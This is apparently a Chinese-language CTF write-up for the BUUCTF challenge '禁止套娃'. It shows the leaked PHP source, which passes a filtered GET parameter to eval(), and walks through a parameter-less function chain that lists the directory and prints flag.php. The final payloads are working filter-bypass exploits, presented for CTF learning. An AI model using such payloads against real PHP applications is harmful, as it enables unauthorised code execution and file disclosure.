怠惰了十天,终于续更了,我这些天断断续续的在学着审计TP框架,进度很慢,尽量快些写成博客发出来吧
[GXYCTF2019]禁止套娃
Buu就一点不好,就是没法扫目录,看了robots.txt看了F12看了源代码,什么提示也没有,搜了一下发现是.git源码泄露,
上工具!GitHack下载源码!
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
代码分析:
GET传入一个exp参数,传入的参数不为空就执行这个参数的内容
过滤了几个伪协议data:、filter:、php:、phar:
一开始不了解,通过这个题查到了(?R)?是代表递归调用当前表达式,所以只能无参数绕过(?R是引用当前表达式,后面再加?是递归调用)
过滤了一些关键字,限制一些函数的使用
传🐎getshell不行的话,那我们就只能读flag了,在源码中可以看到flag就在flag.php,所以我们的思路就应该是读取flag.php,首先要知道当前目录下的文件。
根据3了解到exp必须是a(b());这种类型才行,那我们不能ls了(呜呜呜
找新的函数,找到了scandir()函数,它可以扫描当前目录下的文件,我们看看是如何构造才能符合这个题吧
再看个函数localeconv() ,函数返回一包含本地数字及货币格式信息的数组。而数组的第一项就是.current()返回数组中的当前单元,默认取第一个值。
scandir函数的返回值是一个数组
current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
还有一个知识点:
打印current(localeconv())永远都是打印一个点
那我们第一步查看当前目录文件就是:
?exp=print_r(scandir(current(localeconv())));
现在的问题就变成了怎么看到flag.php,我们观察到他在数组的倒数第二个位置!这里我们就用到了两个函数next()和array_reverse()
next()
函数将内部指针指向数组中的下一个元素,并输出。
arrar_reverse()
arrar_reverse()函数以反向的元素顺序返回数组
我们看到array知道这是一个数组如果用一个逆序排序,再用一个next不就可以用highlight_file输出了吗!
所以最后的payload:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
感谢今天不怠惰的自己,感谢BUU提供题!